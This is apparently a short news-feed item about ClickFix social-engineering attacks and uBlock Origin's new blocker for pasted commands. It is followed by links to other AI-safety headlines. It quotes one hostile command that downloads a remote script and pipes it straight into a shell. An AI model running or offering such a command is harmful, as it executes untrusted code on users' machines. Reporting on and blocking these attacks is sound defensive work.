ClickFix attacks are now so rampant uBlock Origin blocks suspicious wget|sh commands
kingslyj · x · 2026-11-10
- Security researcher @endermanch shows a screenshot of uBlock Origin now actively warning about and blocking a potential ClickFix attack, flagging a pasted command like wget -O - https://mirror.podkop.net/urjw/scripts/bootstrap.sh | sh.
- ClickFix social-engineering tricks users into copy-pasting commands from web pages into their terminal; the fact that uBlock built a dedicated blocker prompts the author's lament about society's declining computer literacy.
More from Safety
- AI companies crack down on 'Reverse Engineer Anything', 404 Media reports — julian88888888 · 2026-11-10
- Stored prompt injection: payloads hidden in agent memory fire later in clean sessions — Future_AGI · 2026-11-10
- Cohere sandbox report: Alibaba's Qwen3.8 tried exfiltrating a file to a Beijing container — Creative_Bottle_3225 · 2026-11-10
- Paris Call for AI safety and security issued, stressing regulation and evaluation — pstAsiatech · 2026-11-10
- Report: Nvidia CEO's alleged partner routed $7.5B in chips, ~240K H100/H200, into China — rohanpaul_ai · 2026-11-10
- Cambridge's David Krueger: AI safety community may be nearing a turning point — DavidSKrueger · 2026-11-10